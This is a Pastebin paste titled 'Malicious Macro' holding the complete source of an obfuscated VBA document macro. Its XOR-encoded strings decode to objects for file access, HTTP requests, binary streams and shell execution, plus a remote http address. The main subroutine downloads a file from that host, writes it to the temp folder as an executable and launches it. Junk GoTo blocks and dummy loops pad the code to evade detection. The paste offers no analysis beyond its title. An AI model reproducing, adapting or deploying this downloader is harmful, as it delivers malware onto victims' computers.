Guest User

Malicious Macro

a guest
Mar 5th, 2015
529
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3. Public Function ho3NnG(fhhgjhgj As String) As String
  4. Dim sdfsdf() As Byte
  5. Dim dsfsdreh As Integer
  6. If Len(fhhgjhgj) <> 0 Then
  7. ReDim sdfsdf(Len(fhhgjhgj))
  8.  
  9. GoTo bsVlBbug
  10. Dim cXAyCASF As String
  11. Open "TFMJNW.CTV" For Binary As 79
  12.  
  13. GoTo hgplCLdt
  14. Dim fNDtWWKE As String
  15. Open "NHNJVT.KUR" For Binary As 51
  16. Put #51, , fNDtWWKE
  17. Close #51
  18. hgplCLdt:
  19.  
  20. Put #79, , cXAyCASF
  21.  
  22. GoTo tTfrBugA
  23. Dim ejJJCoMN As String
  24. Open "MVZPNQ.EMI" For Binary As 33
  25. Put #33, , ejJJCoMN
  26. Close #33
  27. tTfrBugA:
  28.  
  29. Close #79
  30.  
  31. GoTo eGmEXiSU
  32. Dim gXuYcXGK As String
  33. Open "METXVS.SMO" For Binary As 35
  34. Put #35, , gXuYcXGK
  35. Close #35
  36. eGmEXiSU:
  37.  
  38. bsVlBbug:
  39.  
  40.  
  41. GoTo XSalxKMk
  42. Dim iKDwVYCZ As String
  43. Open "HZWJQR.GER" For Binary As 48
  44. Put #48, , iKDwVYCZ
  45. Close #48
  46. XSalxKMk:
  47.  
  48. sdfsdf = StrConv(fhhgjhgj, vbFromUnicode)
  49. For dsfsdreh = 0 To Len(fhhgjhgj) - 1
  50.  
  51. GoTo xnUYdEfO
  52. Dim msqlqTLi As String
  53. Open "RXQVYC.XDH" For Binary As 73
  54.  
  55. GoTo RSaljlLG
  56. Dim HKDcKuCN As String
  57. Open "FSNNCQ.UER" For Binary As 18
  58. Put #18, , HKDcKuCN
  59. Close #18
  60. RSaljlLG:
  61.  
  62. Put #73, , msqlqTLi
  63.  
  64. GoTo YcfwCllC
  65. Dim LENvvuxi As String
  66. Open "GTYADP.VAS" For Binary As 26
  67. Put #26, , LENvvuxi
  68. Close #26
  69. YcfwCllC:
  70.  
  71. Close #73
  72.  
  73. GoTo sWgltLNO
  74. Dim caaxYYeM As String
  75. Open "THYNJC.CUQ" For Binary As 71
  76. Put #71, , caaxYYeM
  77. Close #71
  78. sWgltLNO:
  79.  
  80. xnUYdEfO:
  81.  
  82.  
  83. GoTo jkDxjKVB
  84. Dim gejpgMRc As String
  85. Open "NJGLIR.LIL" For Binary As 51
  86. Put #51, , gejpgMRc
  87. Close #51
  88. jkDxjKVB:
  89.  
  90. sdfsdf(dsfsdreh) = sdfsdf(dsfsdreh) Xor 255
  91. Next dsfsdreh
  92.  
  93. GoTo vkxxpUxr
  94. Dim PcobQmbg As String
  95. Open "RJYLTV.CIP" For Binary As 71
  96.  
  97. GoTo BgrrUdIp
  98. Dim smHuoaQm As String
  99. Open "KHCPJG.JJY" For Binary As 54
  100. Put #54, , smHuoaQm
  101. Close #54
  102. BgrrUdIp:
  103.  
  104. Put #71, , PcobQmbg
  105.  
  106. GoTo EHISwPzG
  107. Dim GCmGCvyN As String
  108. Open "URSAQN.HNL" For Binary As 19
  109. Put #19, , GCmGCvyN
  110. Close #19
  111. EHISwPzG:
  112.  
  113. Close #71
  114.  
  115. GoTo xIKNuCyd
  116. Dim IFReOPpc As String
  117. Open "ENJIEY.ZAN" For Binary As 98
  118. Put #98, , IFReOPpc
  119. Close #98
  120. xIKNuCyd:
  121.  
  122. vkxxpUxr:
  123.  
  124.  
  125. GoTo RSajIJWc
  126. Dim HKDlqTVI As String
  127. Open "FSNVYC.YER" For Binary As 18
  128. Put #18, , HKDlqTVI
  129. Close #18
  130. RSajIJWc:
  131.  
  132.  ho3NnG = StrConv(sdfsdf, vbUnicode)
  133. End If
  134. End Function
  135.  
  136.  
  137.  
  138. 'VBA/fsdfsdf'
  139. Attribute VB_Name = "fsdfsdf"
  140. Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
  141. Attribute VB_GlobalNameSpace = False
  142. Attribute VB_Creatable = False
  143. Attribute VB_PredeclaredId = False
  144. Attribute VB_Exposed = False
  145. Attribute VB_TemplateDerived = False
  146. Attribute VB_Customizable = False
  147.  
  148. 'VBA/sdfdsfsdf'
  149. Attribute VB_Name = "sdfdsfsdf"
  150. Private Const F2UA = "£™›˜™›˜›™˜žÑš‡š"
  151. Private Const JmY6O = "¬—š““Ѿ“–œž‹–‘"
  152. Private Const lTrZNvl = "¾»°»½Ñ¬‹šž’"
  153. Private Const pQWQSu = "¬œ–‹–‘˜Ñ¹–“š¬†Œ‹š’°•šœ‹"
  154. Private Const SpYwyWVL = "¸º«"
  155. Private Const hnikNj = "²¬§²³Íѧ²³·««¯"
  156. Private Const vgVUKK = F2UA
  157. Private Const ATOCePMeK = "—‹‹ÅÐÐËÉÑÌÏÑËÍÑÆÏÅÇÏÇÏО…‰‡•›™ÌΔОŒÊž•ŒŠÑš‡š"
  158. Private Const IhfUSuJ = pQWQSu
  159.  
  160. Sub j5kdF1E()
  161. Set f9n = CreateObject(ho3NnG(IhfUSuJ))
  162. Dim qBSTpqAY
  163. For qBSTpqAY = 0 To 0
  164. If qBSTpqAY = 5 Then End
  165. Next qBSTpqAY
  166. Dim DNjwjVx
  167. For DNjwjVx = 0 To 0
  168. If DNjwjVx = 5 Then End
  169. Next DNjwjVx
  170. Dim kSGcRIQ
  171. For kSGcRIQ = 0 To 0
  172. If kSGcRIQ = 5 Then End
  173. Next kSGcRIQ
  174. Const tV584t5c = 2
  175. Dim mAKgtg
  176. For mAKgtg = 0 To 0
  177. If mAKgtg = 5 Then End
  178. Next mAKgtg
  179. Dim jhODYOFTe
  180. For jhODYOFTe = 0 To 0
  181. If jhODYOFTe = 5 Then End
  182. Next jhODYOFTe
  183. Dim LBhpqotfYfJ
  184. For LBhpqotfYfJ = 0 To 0
  185. If LBhpqotfYfJ = 5 Then End
  186. Next LBhpqotfYfJ
  187. Set w7 = f9n.GetSpecialFolder(tV584t5c)
  188. Dim JHMxELcDCS
  189. For JHMxELcDCS = 0 To 0
  190. If JHMxELcDCS = 5 Then End
  191. Next JHMxELcDCS
  192. Dim JVUlp
  193. For JVUlp = 0 To 0
  194. If JVUlp = 5 Then End
  195. Next JVUlp
  196. Dim eMLzzbjvYrQv
  197. For eMLzzbjvYrQv = 0 To 0
  198. If eMLzzbjvYrQv = 5 Then End
  199. Next eMLzzbjvYrQv
  200. iGHGdf = ho3NnG(ATOCePMeK)
  201. Dim FRjxSGPniL
  202. For FRjxSGPniL = 0 To 0
  203. If FRjxSGPniL = 5 Then End
  204. Next FRjxSGPniL
  205. Dim Vkudd
  206. For Vkudd = 0 To 0
  207. If Vkudd = 5 Then End
  208. Next Vkudd
  209. Dim ammBFIAZhQyBVyC
  210. For ammBFIAZhQyBVyC = 0 To 0
  211. If ammBFIAZhQyBVyC = 5 Then End
  212. Next ammBFIAZhQyBVyC
  213. vJHKdf = w7 & ho3NnG(vgVUKK)
  214. Dim GdBHDO
  215. For GdBHDO = 0 To 0
  216. If GdBHDO = 5 Then End
  217. Next GdBHDO
  218. Dim CSIKCcEjhDYOFTeMLzzb
  219. For CSIKCcEjhDYOFTeMLzzb = 0 To 0
  220. If CSIKCcEjhDYOFTeMLzzb = 5 Then End
  221. Next CSIKCcEjhDYOFTeMLzzb
  222. Dim qcgFgrlDAQtR
  223. For qcgFgrlDAQtR = 0 To 0
  224. If qcgFgrlDAQtR = 5 Then End
  225. Next qcgFgrlDAQtR
  226. Set o7 = CreateObject(ho3NnG(hnikNj))
  227. Dim YdNHOTEUZbSs
  228. For YdNHOTEUZbSs = 0 To 0
  229. If YdNHOTEUZbSs = 5 Then End
  230. Next YdNHOTEUZbSs
  231. Dim DYOFTeMLzzb
  232. For DYOFTeMLzzb = 0 To 0
  233. If DYOFTeMLzzb = 5 Then End
  234. Next DYOFTeMLzzb
  235. Dim QksiNIJHMx
  236. For QksiNIJHMx = 0 To 0
  237. If QksiNIJHMx = 5 Then End
  238. Next QksiNIJHMx
  239. o7.Open ho3NnG(SpYwyWVL), iGHGdf, False
  240. Dim hovammBFIA
  241. For hovammBFIA = 0 To 0
  242. If hovammBFIA = 5 Then End
  243. Next hovammBFIA
  244. Dim pqotfY
  245. For pqotfY = 0 To 0
  246. If pqotfY = 5 Then End
  247. Next pqotfY
  248. Dim CrQSSRQH
  249. For CrQSSRQH = 0 To 0
  250. If CrQSSRQH = 5 Then End
  251. Next CrQSSRQH
  252. o7.send
  253. Dim MNQhcFU
  254. For MNQhcFU = 0 To 0
  255. If MNQhcFU = 5 Then End
  256. Next MNQhcFU
  257. Dim fhqNImoUbuCr
  258. For fhqNImoUbuCr = 0 To 0
  259. If fhqNImoUbuCr = 5 Then End
  260. Next fhqNImoUbuCr
  261. Dim qzAyDohoSg
  262. For qzAyDohoSg = 0 To 0
  263. If qzAyDohoSg = 5 Then End
  264. Next qzAyDohoSg
  265. Set Tr_52m = CreateObject(ho3NnG(IhfUSuJ))
  266. If Tr_52m.FileExists(vJHKdf) Then
  267. Tr_52m.DeleteFile (vJHKdf)
  268. End If
  269. Dim OdnVVIJktFiB
  270. For OdnVVIJktFiB = 0 To 0
  271. If OdnVVIJktFiB = 5 Then End
  272. Next OdnVVIJktFiB
  273. Dim haKsuOrwJTp
  274. For haKsuOrwJTp = 0 To 0
  275. If haKsuOrwJTp = 5 Then End
  276. Next haKsuOrwJTp
  277. Dim xGeLoElr
  278. For xGeLoElr = 0 To 0
  279. If xGeLoElr = 5 Then End
  280. Next xGeLoElr
  281. Set C932bjGs = CreateObject(ho3NnG(lTrZNvl))
  282. Dim OTrxEjwvLPRjyqbIKfHMa
  283. For OTrxEjwvLPRjyqbIKfHMa = 0 To 0
  284. If OTrxEjwvLPRjyqbIKfHMa = 5 Then End
  285. Next OTrxEjwvLPRjyqbIKfHMa
  286. Dim TPbsHQaxsV
  287. For TPbsHQaxsV = 0 To 0
  288. If TPbsHQaxsV = 5 Then End
  289. Next TPbsHQaxsV
  290. Dim gfjUN
  291. For gfjUN = 0 To 0
  292. If gfjUN = 5 Then End
  293. Next gfjUN
  294. With C932bjGs
  295. Dim imMmxrJG
  296. For imMmxrJG = 0 To 0
  297. If imMmxrJG = 5 Then End
  298. Next imMmxrJG
  299. Dim pCeydB
  300. For pCeydB = 0 To 0
  301. If pCeydB = 5 Then End
  302. Next pCeydB
  303. Dim QVxfwimMm
  304. For QVxfwimMm = 0 To 0
  305. If QVxfwimMm = 5 Then End
  306. Next QVxfwimMm
  307. .Type = 1
  308. Dim KfULakSSFFhp
  309. For KfULakSSFFhp = 0 To 0
  310. If KfULakSSFFhp = 5 Then End
  311. Next KfULakSSFFhp
  312. Dim eQGprLotGQmnZAQVxfwi
  313. For eQGprLotGQmnZAQVxfwi = 0 To 0
  314. If eQGprLotGQmnZAQVxfwi = 5 Then End
  315. Next eQGprLotGQmnZAQVxfwi
  316. Dim hrxtFVQs
  317. For hrxtFVQs = 0 To 0
  318. If hrxtFVQs = 5 Then End
  319. Next hrxtFVQs
  320. .Open
  321. Dim AUaiYDMMLQnu
  322. For AUaiYDMMLQnu = 0 To 0
  323. If AUaiYDMMLQnu = 5 Then End
  324. Next AUaiYDMMLQnu
  325. Dim KsUlRYr
  326. For KsUlRYr = 0 To 0
  327. If KsUlRYr = 5 Then End
  328. Next KsUlRYr
  329. Dim wQicurNjHAwH
  330. For wQicurNjHAwH = 0 To 0
  331. If wQicurNjHAwH = 5 Then End
  332. Next wQicurNjHAwH
  333. .Write o7.responseBody
  334. Dim FGcenKs
  335. For FGcenKs = 0 To 0
  336. If FGcenKs = 5 Then End
  337. Next FGcenKs
  338. Dim NjHAwHZ
  339. For NjHAwHZ = 0 To 0
  340. If NjHAwHZ = 5 Then End
  341. Next NjHAwHZ
  342. Dim GcenKsUlR
  343. For GcenKsUlR = 0 To 0
  344. If GcenKsUlR = 5 Then End
  345. Next GcenKsUlR
  346. .SaveToFile vJHKdf
  347. Dim QHprL
  348. For QHprL = 0 To 0
  349. If QHprL = 5 Then End
  350. Next QHprL
  351. Dim ImBToHBrQgg
  352. For ImBToHBrQgg = 0 To 0
  353. If ImBToHBrQgg = 5 Then End
  354. Next ImBToHBrQgg
  355. Dim rmPQxEQfUAvw
  356. For rmPQxEQfUAvw = 0 To 0
  357. If rmPQxEQfUAvw = 5 Then End
  358. Next rmPQxEQfUAvw
  359. .Close
  360. Dim QNHaQ
  361. For QNHaQ = 0 To 0
  362. If QNHaQ = 5 Then End
  363. Next QNHaQ
  364. Dim LbTDmoI
  365. For LbTDmoI = 0 To 0
  366. If LbTDmoI = 5 Then End
  367. Next LbTDmoI
  368. Dim BuBgGsHLOGf
  369. For BuBgGsHLOGf = 0 To 0
  370. If BuBgGsHLOGf = 5 Then End
  371. Next BuBgGsHLOGf
  372. End With
  373. Dim bVzAhBGOE
  374. For bVzAhBGOE = 0 To 0
  375. If bVzAhBGOE = 5 Then End
  376. Next bVzAhBGOE
  377. Dim GdMYealCDZ
  378. For GdMYealCDZ = 0 To 0
  379. If GdMYealCDZ = 5 Then End
  380. Next GdMYealCDZ
  381. Dim CdoiA
  382. For CdoiA = 0 To 0
  383. If CdoiA = 5 Then End
  384. Next CdoiA
  385. Set C932bjGs = Nothing
  386. Dim UoTrJVJ
  387. For UoTrJVJ = 0 To 0
  388. If UoTrJVJ = 5 Then End
  389. Next UoTrJVJ
  390. Dim fjxHcqdPq
  391. For fjxHcqdPq = 0 To 0
  392. If fjxHcqdPq = 5 Then End
  393. Next fjxHcqdPq
  394. Dim oTrJVJHBTQnQ
  395. For oTrJVJHBTQnQ = 0 To 0
  396. If oTrJVJHBTQnQ = 5 Then End
  397. Next oTrJVJHBTQnQ
  398. If Tr_52m.FileExists(vJHKdf) Then
  399. End If
  400. Dim HcqdPqML
  401. For HcqdPqML = 0 To 0
  402. If HcqdPqML = 5 Then End
  403. Next HcqdPqML
  404. Dim tTdpRlQ
  405. For tTdpRlQ = 0 To 0
  406. If tTdpRlQ = 5 Then End
  407. Next tTdpRlQ
  408. Dim EZmaLnJI
  409. For EZmaLnJI = 0 To 0
  410. If EZmaLnJI = 5 Then End
  411. Next EZmaLnJI
  412. Set GBIviviu67FUGBK = CreateObject(ho3NnG(JmY6O))
  413. Dim xRIzMQFFtt
  414. For xRIzMQFFtt = 0 To 0
  415. If xRIzMQFFtt = 5 Then End
  416. Next xRIzMQFFtt
  417. Dim IkRjUZzalf
  418. For IkRjUZzalf = 0 To 0
  419. If IkRjUZzalf = 5 Then End
  420. Next IkRjUZzalf
  421. Dim DxPMkTekgs
  422. For DxPMkTekgs = 0 To 0
  423. If DxPMkTekgs = 5 Then End
  424. Next DxPMkTekgs
  425. GBIviviu67FUGBK.Open w7 & ho3NnG(vgVUKK)
  426. Dim wktQL
  427. For wktQL = 0 To 0
  428. If wktQL = 5 Then End
  429. Next wktQL
  430. Dim GqpddDMZ
  431. For GqpddDMZ = 0 To 0
  432. If GqpddDMZ = 5 Then End
  433. Next GqpddDMZ
  434. Dim NiKPeoIVJw
  435. For NiKPeoIVJw = 0 To 0
  436. If NiKPeoIVJw = 5 Then End
  437. Next NiKPeoIVJw
  438. End Sub
RAW Paste Data